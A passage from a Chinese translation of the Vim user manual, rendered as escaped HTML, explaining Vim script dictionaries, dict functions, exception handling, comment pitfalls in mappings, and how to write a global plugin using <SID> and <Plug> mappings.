&lt;p&gt;:echo uk2nl[&#x27;two&#x27;]
twee
字典定义的通用形式是:&lt;&#x2F;p&gt;
&lt;p&gt;{&lt;key&gt; : &lt;value&gt;, …}
空字典是不包含任何键的字典:&lt;&#x2F;p&gt;
&lt;p&gt;{}
字典的用途很多。它可用的函数也不少。例如，你可以得到它的键列表并在其上循环:&lt;&#x2F;p&gt;
&lt;p&gt;:for key in keys(uk2nl)&lt;&#x2F;p&gt;
&lt;p&gt;echo key&lt;&#x2F;p&gt;
&lt;p&gt;:endfor
three
one
two
注意 这些键没有排序。你自己可以对返回列表按照特定顺序进行排序:&lt;&#x2F;p&gt;
&lt;p&gt;:for key in sort(keys(uk2nl))&lt;&#x2F;p&gt;
&lt;p&gt;echo key&lt;&#x2F;p&gt;
&lt;p&gt;:endfor
one
three
two
但你永远不能得到项目定义时的顺序。为此目的，只能用列表。列表里的项目被作为有序序列保存。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org7c3b2e6&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-dian-han-shu&quot;&gt;字 典 函 数&lt;&#x2F;h2&gt;
&lt;p&gt;字典项目通常可以用方括号里的索引得到:&lt;&#x2F;p&gt;
&lt;p&gt;:echo uk2nl[&#x27;one&#x27;]
een
完成同样操作且无需那么多标点符号的方法:&lt;&#x2F;p&gt;
&lt;p&gt;:echo uk2nl.one
een
这只能用于由 ASCII 字母、数位和下划线组成的键。此方式也可以用于赋值:&lt;&#x2F;p&gt;
&lt;p&gt;:let uk2nl.four = &#x27;vier&#x27;
:echo uk2nl
{&#x27;three&#x27;: &#x27;drie&#x27;, &#x27;four&#x27;: &#x27;vier&#x27;, &#x27;one&#x27;: &#x27;een&#x27;, &#x27;two&#x27;: &#x27;twee&#x27;}
现在来一些特别的: 你可以直接定义函数并把它的引用放在字典里:&lt;&#x2F;p&gt;
&lt;p&gt;:function uk2nl.translate(line) dict&lt;&#x2F;p&gt;
&lt;p&gt;return join(map(split(a:line), &#x27;get(self, v:val, &quot;???&quot;)&#x27;))&lt;&#x2F;p&gt;
&lt;p&gt;:endfunction
让我们先试试:&lt;&#x2F;p&gt;
&lt;p&gt;:echo uk2nl.translate(&#x27;three two five one&#x27;)
drie twee ??? een
你注意到的第一个特殊之处是 :function 一行最后的 dict。这标记该函数为某个字典使用。self 局部变量这时可以引用该字典。
现在把这个复杂的return命令拆开:&lt;&#x2F;p&gt;
&lt;p&gt;split(a:line)
split()函数接受字符串，把它分成空白分隔的多个单词，并返回这些单词组成的列表。所以下例返回的是:&lt;&#x2F;p&gt;
&lt;p&gt;:echo split(&#x27;three two five one&#x27;)
[&#x27;three&#x27;, &#x27;two&#x27;, &#x27;five&#x27;, &#x27;one&#x27;]
map() 函数的第一个参数是上面这个列表。它然后遍历列表，用它的第二个参数来进行计算，过程中 v:val 设为每个项目的值。这相当于 for 循环的快捷方式。命令:&lt;&#x2F;p&gt;
&lt;p&gt;:let alist = map(split(a:line), &#x27;get(self, v:val, &quot;???&quot;)&#x27;)
1
等价于:&lt;&#x2F;p&gt;
&lt;p&gt;:let alist = split(a:line)
:for idx in range(len(alist))&lt;&#x2F;p&gt;
&lt;p&gt;let alist[idx] = get(self, alist[idx], &quot;???&quot;)&lt;&#x2F;p&gt;
&lt;p&gt;:endfor
get()函数检查某键是否在字典里存在。如果是，提取它对应的键。如果不是，返回缺省值，此例中缺省值是???。此函数可以很方便地处理键不一定存在而你不想要错误信息的情形。
join()函数和split()刚好相反: 它合并列表里的单词，中间放上空格。split()、map()和join()的组合非常简洁地对单词组成的行进行过滤。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org6997d61&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mian-xiang-dui-xiang-bian-cheng&quot;&gt;面 向 对 象 编 程&lt;&#x2F;h2&gt;
&lt;p&gt;现在你可以把值和函数都放进字典里，实际上，字典已经可以作为对象来使用。
上面我们用了一个字典来把荷兰语翻译为英语。我们可能也想为其他的语言作同样的事。让我们先建立一个对象 (也就是字典)，它支持translate函数，但没有要翻译的单词表:&lt;&#x2F;p&gt;
&lt;p&gt;:let transdict = {}
:function transdict.translate(line) dict&lt;&#x2F;p&gt;
&lt;p&gt;return join(map(split(a:line), &#x27;get(self.words, v:val, &quot;???&quot;)&#x27;))&lt;&#x2F;p&gt;
&lt;p&gt;:endfunction
和上面的函数稍有不同，这里用 self.words 来查找单词的翻译，但我们还没有self.words。所以你可以把这叫做抽象类。
让我们现在实例化一个荷兰语的翻译对象:&lt;&#x2F;p&gt;
&lt;p&gt;:let uk2nl = copy(transdict)
:let uk2nl.words = {&#x27;one&#x27;: &#x27;een&#x27;, &#x27;two&#x27;: &#x27;twee&#x27;, &#x27;three&#x27;: &#x27;drie&#x27;}
:echo uk2nl.translate(&#x27;three one&#x27;)
drie een
然后来一个德语的翻译器:&lt;&#x2F;p&gt;
&lt;p&gt;:let uk2de = copy(transdict)
:let uk2de.words = {&#x27;one&#x27;: &#x27;ein&#x27;, &#x27;two&#x27;: &#x27;zwei&#x27;, &#x27;three&#x27;: &#x27;drei&#x27;}
:echo uk2de.translate(&#x27;three one&#x27;)
drei ein
你看到copy()函数被用来建立 transdict 字典的备份，然后修改此备份以加入单词表。当然，原来的字典还是保持原样。&lt;&#x2F;p&gt;
&lt;p&gt;现在你可以再进一步，使用你偏好的翻译器:&lt;&#x2F;p&gt;
&lt;p&gt;:if $LANG =~ &quot;de&quot;&lt;&#x2F;p&gt;
&lt;p&gt;let trans = uk2de&lt;&#x2F;p&gt;
&lt;p&gt;:else&lt;&#x2F;p&gt;
&lt;p&gt;let trans = uk2nl&lt;&#x2F;p&gt;
&lt;p&gt;:endif
:echo trans.translate(&#x27;one two three&#x27;)
een twee drie
这里 trans 指向两个对象 (字典) 之一，并不涉及到备份的建立。关于列表和字典同一性的更多说明可见 list-identity 和 dict-identity。&lt;&#x2F;p&gt;
&lt;p&gt;你使用的语言现在可能还不支持。你可以覆盖translate()函数，让它什么都不做:&lt;&#x2F;p&gt;
&lt;p&gt;:let uk2uk = copy(transdict)
:function! uk2uk.translate(line)&lt;&#x2F;p&gt;
&lt;p&gt;return a:line&lt;&#x2F;p&gt;
&lt;p&gt;:endfunction
:echo uk2uk.translate(&#x27;three one wladiwostok&#x27;)
three one wladiwostok
注意 使用!会覆盖已有的函数引用。现在，在没找到能够识别的语言的时候，让我们用uk2uk:&lt;&#x2F;p&gt;
&lt;p&gt;:if $LANG =~ &quot;de&quot;&lt;&#x2F;p&gt;
&lt;p&gt;let trans = uk2de&lt;&#x2F;p&gt;
&lt;p&gt;:elseif $LANG =~ &quot;nl&quot;&lt;&#x2F;p&gt;
&lt;p&gt;let trans = uk2nl&lt;&#x2F;p&gt;
&lt;p&gt;:else&lt;&#x2F;p&gt;
&lt;p&gt;let trans = uk2uk&lt;&#x2F;p&gt;
&lt;p&gt;:endif
:echo trans.translate(&#x27;one two three&#x27;)
one two three
进一步的阅读可见 Lists 和 Dictionaries。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org0622e1e&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;9-li-wai&quot;&gt;9 例外&lt;&#x2F;h1&gt;
&lt;p&gt;让我们从一个例子开始:&lt;&#x2F;p&gt;
&lt;p&gt;:try&lt;&#x2F;p&gt;
&lt;p&gt;read ~&#x2F;templates&#x2F;pascal.tmpl&lt;&#x2F;p&gt;
&lt;p&gt;:catch &lt;em&gt;E484:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;Sorry, the Pascal template file cannot be found.&quot;&lt;&#x2F;p&gt;
&lt;p&gt;:endtry
如果该文件不存在的话，:read 命令就会失败。这段代码可以捕捉到该错误并向用户给出一个友好的信息，而不是一个一般的出错信息。&lt;&#x2F;p&gt;
&lt;p&gt;在 :try 和 :endtry 之间的命令产生的错误将被转变成为例外。例外以字符串的形式出现。当例外是错误时该字符串就是出错信息。而每一个出错信息都有一个对应的错误码。在上面的例子中，我们捕捉到的错误包括 E484。Vim 确保这个错误码始终不变(文字可能会变，例如被翻译)。&lt;&#x2F;p&gt;
&lt;p&gt;当 :read 命令引起其它错误时，模式 E484: 不会被匹配。因此该例外不会被捕获，结果是一个一般的出错信息。
你可能想这样做:&lt;&#x2F;p&gt;
&lt;p&gt;:try&lt;&#x2F;p&gt;
&lt;p&gt;read ~&#x2F;templates&#x2F;pascal.tmpl&lt;&#x2F;p&gt;
&lt;p&gt;:catch&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;Sorry, the Pascal template file cannot be found.&quot;&lt;&#x2F;p&gt;
&lt;p&gt;:endtry
这意味着所有的错误都将被捕获。然而这样你就无法得到那些有用的错误信息，比如说E21: Cannot make changes, &#x27;modifiable&#x27; is off。&lt;&#x2F;p&gt;
&lt;p&gt;另一个有用的机制是 :finally 命令:&lt;&#x2F;p&gt;
&lt;p&gt;:let tmp = tempname()
:try&lt;&#x2F;p&gt;
&lt;p&gt;exe &quot;.,$write &quot; . tmp
exe &quot;!filter &quot; . tmp
.,$delete
exe &quot;$read &quot; . tmp&lt;&#x2F;p&gt;
&lt;p&gt;:finally&lt;&#x2F;p&gt;
&lt;p&gt;call delete(tmp)&lt;&#x2F;p&gt;
&lt;p&gt;:endtry
这个例子将自光标处到文件尾的所有行通过过滤器 filter。该程序的参数是文件名。无论在 :try 和 :finally 之间发生了什么，call delete(tmp) 命令始终被执行。这可以确保你不会留下一个临时文件。&lt;&#x2F;p&gt;
&lt;p&gt;关于例外处理更多的讨论可以阅读参考手册: |exception-handling|。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org0321e10&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;10-qi-ta-de-tao-lun&quot;&gt;10 其它的讨论&lt;&#x2F;h1&gt;
&lt;p&gt;这里集中了一些和 Vim 脚本相关的讨论。别的地方其实也提到过，这里算做一个整理。
行结束符取决于所在的系统。Unix 系统使用单个的&lt;NL&gt;字符。MS-DOS、Windows、OS&#x2F;2系列的系统使用&lt;CR&gt;&lt;LF&gt;。对于那些使用&lt;CR&gt;的映射而言，这一点很重要。参阅|:source&lt;sub&gt;crnl&lt;&#x2F;sub&gt;|。&lt;&#x2F;p&gt;
&lt;p&gt;空 白 字 符&lt;&#x2F;p&gt;
&lt;p&gt;可以使用空白行，但没有作用。&lt;&#x2F;p&gt;
&lt;p&gt;行首的空白字符 (空格和制表符) 总被忽略。参数间的 (例如像下面命令中set和cpoptions 之间的) 空白字符被归约为单个，仅用作分隔符。而最后一个 (可见) 字符之后的空白字符可能会被忽略也可能不会，视情况而定。见下。&lt;&#x2F;p&gt;
&lt;p&gt;对于一个带有等号 = 的 :set 命令，如下:&lt;&#x2F;p&gt;
&lt;p&gt;:set cpoptions    =aABceFst
紧接着等号之前的空白字符会被忽略。然而其后的空白字符是不允许的！
为了在一个选项值内使用空格，必须像下面例子那样使用反斜杠:&lt;&#x2F;p&gt;
&lt;p&gt;:set tags=my\ nice\ file
如果写成这样:&lt;&#x2F;p&gt;
&lt;p&gt;:set tags=my nice file
Vim 会给出错误信息，因为它被解释成:&lt;&#x2F;p&gt;
&lt;p&gt;:set tags=my
:set nice
:set file&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org9b2d697&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhu-shi&quot;&gt;注 释&lt;&#x2F;h2&gt;
&lt;p&gt;双引号字符&quot;标记注释的开始。除了那些不接受注释的命令外 (见下例)，从双引号起的直到行末的所有字符都将被忽略。注释可以从一行的任意位置开始。
对于某些命令来说，这里有一个小小的 “陷阱”。例如:&lt;&#x2F;p&gt;
&lt;p&gt;:abbrev dev development     &quot; shorthand
:map &lt;F3&gt; o#include     &quot; insert include
:execute cmd            &quot; do it
:!ls *.c            &quot; list C files
缩写 dev 会被展开成 development &quot; shorthand；&lt;F3&gt; 的键盘映射会是包括&quot; insert include 在内的那一整行；execute 命令会给出错误；! 命令会将其后的所有字符传给 shell，从而引起一个不匹配 &quot; 的错误。
结论是，:map，:abbreviate，:execute 和 ! 命令之后不能有注释。(另外还有几个命令也是如此)。不过，对于这些命令有一个小窍门:&lt;&#x2F;p&gt;
&lt;p&gt;:abbrev dev development|&quot; shorthand
:map &lt;F3&gt; o#include|&quot; insert include
:execute cmd            |&quot; do it&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;table border=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;6&quot; rules=&quot;groups&quot; frame=&quot;hsides&quot;&gt;
&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;colgroup&gt;
&lt;col  class=&quot;org-left&quot; &#x2F;&gt;
&lt;&#x2F;colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;字符被用来将两个命令分隔开。后一个命令仅仅是一个注释。最后一个命令里，你需&lt;&#x2F;td&gt;
&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;要做两件事: |:execute| 和用 |:&lt;&#x2F;p&gt;
&lt;p&gt;:exe &#x27;!ls *.c&#x27;          |&quot; list C files
注意 在缩写和映射后的 | 之前没有空格。这是因为对于这些命令，直到行尾或者 |字符为止的内容都是有效的。此行为的后果之一，是你没法总看到这些命令后面包括的空白字符:&lt;&#x2F;p&gt;
&lt;p&gt;:map &lt;F4&gt; o#include
要发现这个问题，你可以在你的 vimrc 文件内置位 list 选项。
Unix 上有一个特殊的办法给一行加注释，从而使得 Vim 脚本可执行:&lt;&#x2F;p&gt;
&lt;p&gt;#!&#x2F;usr&#x2F;bin&#x2F;env vim -S
echo &quot;this is a Vim script&quot;
quit&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org27b81ce&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-jing&quot;&gt;陷 阱&lt;&#x2F;h2&gt;
&lt;p&gt;下面的例子的问题就更大了:&lt;&#x2F;p&gt;
&lt;p&gt;:map ,ab o#include
:unmap ,ab
这里，unmap命令是行不通的，因为它试着 unmap ,ab。而这个映射根本就不存在。因为 unmap ,ab 的末尾的那个空白字符是不可见的，这个错误很难被找出。&lt;&#x2F;p&gt;
&lt;p&gt;在下面这个类似的例子里，unmap 后面带有注释:&lt;&#x2F;p&gt;
&lt;p&gt;:unmap ,ab     &quot; comment
注释将被忽略。然而，Vim 会尝试unmap不存在的 ,ab。可以重写成:&lt;&#x2F;p&gt;
&lt;p&gt;:unmap ,ab|&quot; comment&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orge943ab0&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hui-fu-yi-ge-shi-chuang-wei-zhi&quot;&gt;恢 复 一 个 视 窗 位 置&lt;&#x2F;h2&gt;
&lt;p&gt;有时有你想做一些改动然后回到光标原来的位置。如果能恢复相对位置，把和改动前同样的行置于窗口顶端就更好了。
这里的例子拷贝当前行，粘贴到文件的第一行，然后恢复视窗位置:&lt;&#x2F;p&gt;
&lt;p&gt;map ,p ma&quot;aYHmbgg&quot;aP`bzt`a
解析:&lt;&#x2F;p&gt;
&lt;p&gt;ma&quot;aYHmbgg&quot;aP`bzt`a
ma                      在当前位置做标记 a
&quot;aY                   将当前行拷贝至寄存器 a
Hmb                移动到窗口的顶行并做标记 b
gg              移动到文件首行
&quot;aP           粘贴拷贝的行到上方
`b         移动到刚才的顶行
zt      使窗口出现的文本恢复旧观
`a    回到保存的光标位置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org0d38e4c&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;feng-zhuang&quot;&gt;封 装&lt;&#x2F;h2&gt;
&lt;p&gt;为了避免你的函数名同其它的函数名发生冲突，使用这样的方法:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在函数名前加上独特的字符串。我通常使用一个缩写。例如，OW_ 被用在option window函数上。&lt;&#x2F;li&gt;
&lt;li&gt;将你的函数定义放在一个文件内。设置一个全局变量用来表示这些函数是否已经被加载了。当再次source这个文件的时候，先将这些函数卸载。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;例如:&lt;&#x2F;p&gt;
&lt;p&gt;&quot; This is the XXX package
if exists(&quot;XXX&lt;sub&gt;loaded&lt;&#x2F;sub&gt;&quot;)
delfun XXX&lt;sub&gt;one&lt;&#x2F;sub&gt;
delfun XXX&lt;sub&gt;two&lt;&#x2F;sub&gt;
endif
function XXX&lt;sub&gt;one&lt;&#x2F;sub&gt;(a)
… body of function …
endfun
function XXX&lt;sub&gt;two&lt;&#x2F;sub&gt;(b)
… body of function …
endfun
let XXX&lt;sub&gt;loaded&lt;&#x2F;sub&gt; = 1&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgadc125a&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;11-bian-xie-cha-jian&quot;&gt;11 编写插件&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a id=&quot;orge39156b&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yong-yue-ding-fang-shi-bian-xie-de-jiao-ben-neng-gou-bei-chu-zuo-zhe-wai-de-hen-duo-ren-shi-yong-zhe-yang-de-jiao-ben-jiao-zuo-cha-jian-vim-yong-hu-zhi-yao-ba-ni-xie-de-jiao-ben-fang-zai-plugin-mu-lu-xia-jiu-ke-yi-li-ji-shi-yong-liao-add-plugin&quot;&gt;用约定方式编写的脚本能够被除作者外的很多人使用。这样的脚本叫做插件。Vim 用户只要把你写的脚本放在 plugin 目录下就可以立即使用了: |add-plugin|。&lt;&#x2F;h2&gt;
&lt;p&gt;实际上有两种插件:&lt;&#x2F;p&gt;
&lt;p&gt;name	description
全局插件	适用于所有类型的文件。
文件类型插件	仅适用于某种类型的文件。
这一节将介绍第一种。很多的东西也同样适用于编写文件类型插件。仅适用于编写文件类型插件的知识将在下一节 |write-filetype-plugin| 做介绍。&lt;&#x2F;p&gt;
&lt;p&gt;插 件 名&lt;&#x2F;p&gt;
&lt;p&gt;首先你得给你的插件起个名字。这个名字应该很清楚地表示该插件的用途。同时应该避免同别的插件用同样的名字而用途不同。请将插件名限制在 8 个字符以内，这样可以使得该插件在老的 Windows 系统也能使用。&lt;&#x2F;p&gt;
&lt;p&gt;一个纠正打字错误的插件可能被命名为 typecorr.vim。我们将用这个名字来举例。&lt;&#x2F;p&gt;
&lt;p&gt;为了使一个插件能被所有人使用，要注意一些事项。下面我们将一步步的讲解。最后会给出这个插件的完整示例。&lt;&#x2F;p&gt;
&lt;p&gt;插 件 体&lt;&#x2F;p&gt;
&lt;p&gt;让我们从做实际工作的插件体开始:&lt;&#x2F;p&gt;
&lt;p&gt;14 iabbrev teh the
15 iabbrev otehr other
16 iabbrev wnat want
17 iabbrev synchronisation
18     \ synchronization
19 let s:count = 4
当然，真正的清单会比这长的多。&lt;&#x2F;p&gt;
&lt;p&gt;上面的行号只是为了方便解释，不要把它们也加入到你的插件文件中去！&lt;&#x2F;p&gt;
&lt;p&gt;插 件 头&lt;&#x2F;p&gt;
&lt;p&gt;你很可能对这个插件做新的修改并很快就有了好几个版本。并且当你发布文件的时候，别人也想知道是谁编写了这样好的插件或者给作者提点意见。所以，在你的插件头部加上一些描述性的注释是很必要的:&lt;&#x2F;p&gt;
&lt;p&gt;1 &quot; Vim global plugin for correcting typing mistakes
2 &quot; Last Change: 2000 Oct 15
3 &quot; Maintainer: Bram Moolenaar &lt;a href=&quot;mailto:Bram@vim.org&quot;&gt;Bram@vim.org&lt;&#x2F;a&gt;
关于版权和许可: 由于插件很有用，而且几乎不值得限制其发行，请考虑对你的插件使用公共领域 (public domain) 或 Vim 许可 |license|。在文件顶部放上说明就行了。例如:&lt;&#x2F;p&gt;
&lt;p&gt;4 &quot; License:  This file is placed in the public domain.
续 行，避 免 副 效 应&lt;&#x2F;p&gt;
&lt;p&gt;在上面的第 18 行中，用到了续行机制 |line-continuation|。那些置位了compatible 选项的用户可能会在这里遇到麻烦。他们会得到一个错误信息。我们不能简单的复位 compatible 选项，因为那样会带来很多的副效应。为了避免这些副效应，我们可以将 cpoptions 选项设为 Vim 缺省值并在后面恢复之。这将允许续行功能并保证对大多数用户来讲脚本是可用的。就像下面这样:&lt;&#x2F;p&gt;
&lt;p&gt;11 let s:save&lt;sub&gt;cpo&lt;&#x2F;sub&gt; = &amp;amp;cpo
12 set cpo&amp;amp;vim
..
42 let &amp;amp;cpo = s:save&lt;sub&gt;cpo&lt;&#x2F;sub&gt;
43 unlet s:save&lt;sub&gt;cpo&lt;&#x2F;sub&gt;
我们先将 cpoptions 的旧值存在s:save&lt;sub&gt;cpo变量中&lt;&#x2F;sub&gt;。在插件的最后该值将被恢复。&lt;&#x2F;p&gt;
&lt;p&gt;注意 上面使用了脚本局部变量 |s:var|。因为可能已经使用了同名的全局变量。对于仅在脚本内用到的变量总应该使用脚本局部变量。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org3887402&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jin-zhi-jia-zai&quot;&gt;禁 止 加 载&lt;&#x2F;h2&gt;
&lt;p&gt;有可能一个用户并不总希望加载这个插件。或者系统管理员在系统的插件目录中已经把这个插件删除了，而用户希望使用它自己安装的插件。用户应该有机会选择不加载指定的插件。下面的一段代码就是用来实现这个目的的:&lt;&#x2F;p&gt;
&lt;p&gt;6 if exists(&quot;g:loaded&lt;sub&gt;typecorr&lt;&#x2F;sub&gt;&quot;)
7   finish
8 endif
9 let g:loaded&lt;sub&gt;typecorr&lt;&#x2F;sub&gt; = 1
这同时也避免了同一个脚本被加载两次以上。因为那样用户会得到各种各样的错误信息。比如函数被重新定义，自动命令被多次加入等等。&lt;&#x2F;p&gt;
&lt;p&gt;建议使用的名字以 loaded_ 开头，然后是插件的文件名，按原义输入。之前加上 g:以免错误地在函数中使用该变量 (没有 g: 可以是局部于函数的变量)。&lt;&#x2F;p&gt;
&lt;p&gt;finish 阻止 Vim 继续读入文件的其余部分，这比用if-endif包围整个文件要快得多。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org7931d54&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ying-she-1&quot;&gt;映 射&lt;&#x2F;h2&gt;
&lt;p&gt;现在让我们把这个插件变得更有趣些: 我们将加入一个映射用来校正当前光标下的单词。
我们当然可以任意选一个键组合，但是用户可能已经将其定义为其它的什么功能了。为了使用户能够自己定义在插件中的键盘映射使用的键，我们可以使用&lt;Leader&gt;标识:&lt;&#x2F;p&gt;
&lt;p&gt;22   map &lt;unique&gt; &lt;Leader&gt;a  &lt;Plug&gt;TypecorrAdd
那个 &lt;Plug&gt;TypecorrAdd 会做实际的工作，后面我们还会做更多解释。&lt;&#x2F;p&gt;
&lt;p&gt;用户可以将 mapleader 变量设为他所希望的开始映射的键组合。比如假设用户这样做:&lt;&#x2F;p&gt;
&lt;p&gt;let mapleader = &quot;_&quot;
映射将定义为 _a。如果用户没有这样做，Vim 将使用缺省值反斜杠。这样就会定义一个映射 - \a。&lt;&#x2F;p&gt;
&lt;p&gt;注意 其中用到了&lt;unique&gt;，这会使得 Vim 在映射已经存在时给出错误信息。&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;table border=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;6&quot; rules=&quot;groups&quot; frame=&quot;hsides&quot;&gt;
&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;colgroup&gt;
&lt;col  class=&quot;org-left&quot; &#x2F;&gt;
&lt;&#x2F;colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;:map-&amp;lt;unique&amp;gt;&lt;&#x2F;td&gt;
&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;但是如果用户希望定义自己的键操作呢？我们可以用下面的方法来解决:&lt;&#x2F;p&gt;
&lt;p&gt;21 if !hasmapto(&#x27;&lt;Plug&gt;TypecorrAdd&#x27;)
22   map &lt;unique&gt; &lt;Leader&gt;a  &lt;Plug&gt;TypecorrAdd
23 endif
我们先检查对 &lt;Plug&gt;TypecorrAdd 的映射是否存在。仅当不存在时我们才定义映射&lt;Leader&gt;a。这样用户就可以在他自己的 vimrc 文件中加入:&lt;&#x2F;p&gt;
&lt;p&gt;map ,c  &lt;Plug&gt;TypecorrAdd
那么键序列就会是 ,c 而不是 _a 或者 \a 了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orga2b8807&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fen-ge&quot;&gt;分 割&lt;&#x2F;h2&gt;
&lt;p&gt;如果一个脚本变得相当长，你通常希望将其分割成几部分。常见做法是函数或映射。但同时，你又不希望脚本之间这些函数或映射相互干扰。例如，你定义了一个函数Add()，但另一个脚本可能也试图定义同名的函数。为了避免这样的情况发生，我们可以在局部函数的前面加上 s:。&lt;&#x2F;p&gt;
&lt;p&gt;我们来定义一个用来添加新的错误更正的函数:&lt;&#x2F;p&gt;
&lt;p&gt;30 function s:Add(from, correct)
31   let to = input(&quot;type the correction for &quot; . a:from . &quot;: &quot;)
32   exe &quot;:iabbrev &quot; . a:from . &quot; &quot; . to
..
36 endfunction
这样我们就可以在这个脚本之内调用函数s:Add()。如果另一个脚本也定义s:Add()，该函数将只能在其所定义的脚本内部被调用。独立于这两个函数的全局的 Add() 函数 (不带 s:) 也可以存在。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org2222051&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ying-she-ze-ke-yong-ta-chan-sheng-yi-ge-jiao-ben-id-zai-wo-men-de-cuo-wu-geng-zheng-cha-jian-zhong-wo-men-ke-yi-zuo-yi-xia-de-ding-yi&quot;&gt;映射则可用&lt;SID&gt;。它产生一个脚本ID。在我们的错误更正插件中我们可以做以下的定义:&lt;&#x2F;h2&gt;
&lt;p&gt;24 noremap &lt;unique&gt; &lt;script&gt; &lt;Plug&gt;TypecorrAdd  &lt;SID&gt;Add
..
28 noremap &lt;SID&gt;Add  :call &lt;SID&gt;Add(expand(&quot;&lt;cword&gt;&quot;), 1)&lt;CR&gt;
这样当用户键入 \a 时，将触发下面的次序:&lt;&#x2F;p&gt;
&lt;p&gt;\a  -&amp;gt;  &lt;Plug&gt;TypecorrAdd  -&amp;gt;  &lt;SID&gt;Add  -&amp;gt;  :call &lt;SID&gt;Add()
如果另一个脚本也定义了映射&lt;SID&gt;Add，该脚本将产生另一个脚本ID。所以它定义的映射也与前面定义的不同。&lt;&#x2F;p&gt;
&lt;p&gt;注意 在这里我们用了&lt;SID&gt;Add()而不是s:Add()。这是因为该映射将被用户键入，因此是从脚本外部调用的。&lt;SID&gt;翻译成该脚本的ID。这样 Vim 就知道在哪个脚本里寻找相应的Add()函数了。&lt;&#x2F;p&gt;
&lt;p&gt;这的确是有点复杂，但又是使多个插件一起工作所必需的。基本规则是: 在映射中使用&lt;SID&gt;Add()；在其它地方 (该脚本内部，自动命令，用户命令) 使用s:Add()。&lt;&#x2F;p&gt;
&lt;p&gt;我们还可以增加菜单项目来完成映射同样的功能:&lt;&#x2F;p&gt;
&lt;p&gt;26 noremenu &lt;script&gt; Plugin.Add\ Correction      &lt;SID&gt;Add
建议把插件定义的菜单项都加入到 Plugin 菜单下。上面的情况只定义了一个菜单选项。当有多个选项时，可以创建一个子菜单。例如，一个提供 CVS 操作的插件可以添加Plugin.CVS 子菜单，并在其中定义 Plugin.CVS.checkin，Plugin.CVS.checkout等菜单项。&lt;&#x2F;p&gt;
&lt;p&gt;注意 为了避免其它映射引起麻烦，在第 28 行使用了 :noremap。比如有人可能重新映射了 :call。在第 24 也用到了 :noremap，但我们又希望重新映射 &lt;SID&gt;Add。这就是为什么在这儿要用 &lt;script&gt;。它允许只执行局部于脚本的映射。|:map-&lt;script&gt;|同样的道理也适用于第 26 行的:noremenu。|:menu-&lt;script&gt;|&lt;&#x2F;p&gt;
&lt;p&gt;&lt;SID&gt; 和&lt;Plug&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;SID&gt; 和&lt;Plug&gt; 都是用来避免映射的键序列和那些仅仅用于其它映射的映射起冲突。
注意 &lt;SID&gt; 和&lt;Plug&gt; 的区别:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;Plug&gt; 在脚本外部是可见的。它被用来定义那些用户可能定义映射的映射。&lt;Plug&gt; 是无法用键盘输入的特殊代码。
使用结构:&lt;Plug&gt; 脚本名 映射名，可以使得其它插件使用同样次序的字符来定义映射的几率变得非常小。在我们上面的例子中，脚本名是 Typecorr，映射名是 Add。结果是 &lt;Plug&gt;TypecorrAdd。只有脚本名和映射名的第一个字符是大写的，所以我们可以清楚地看到映射名从什么地方开始。&lt;&#x2F;p&gt;
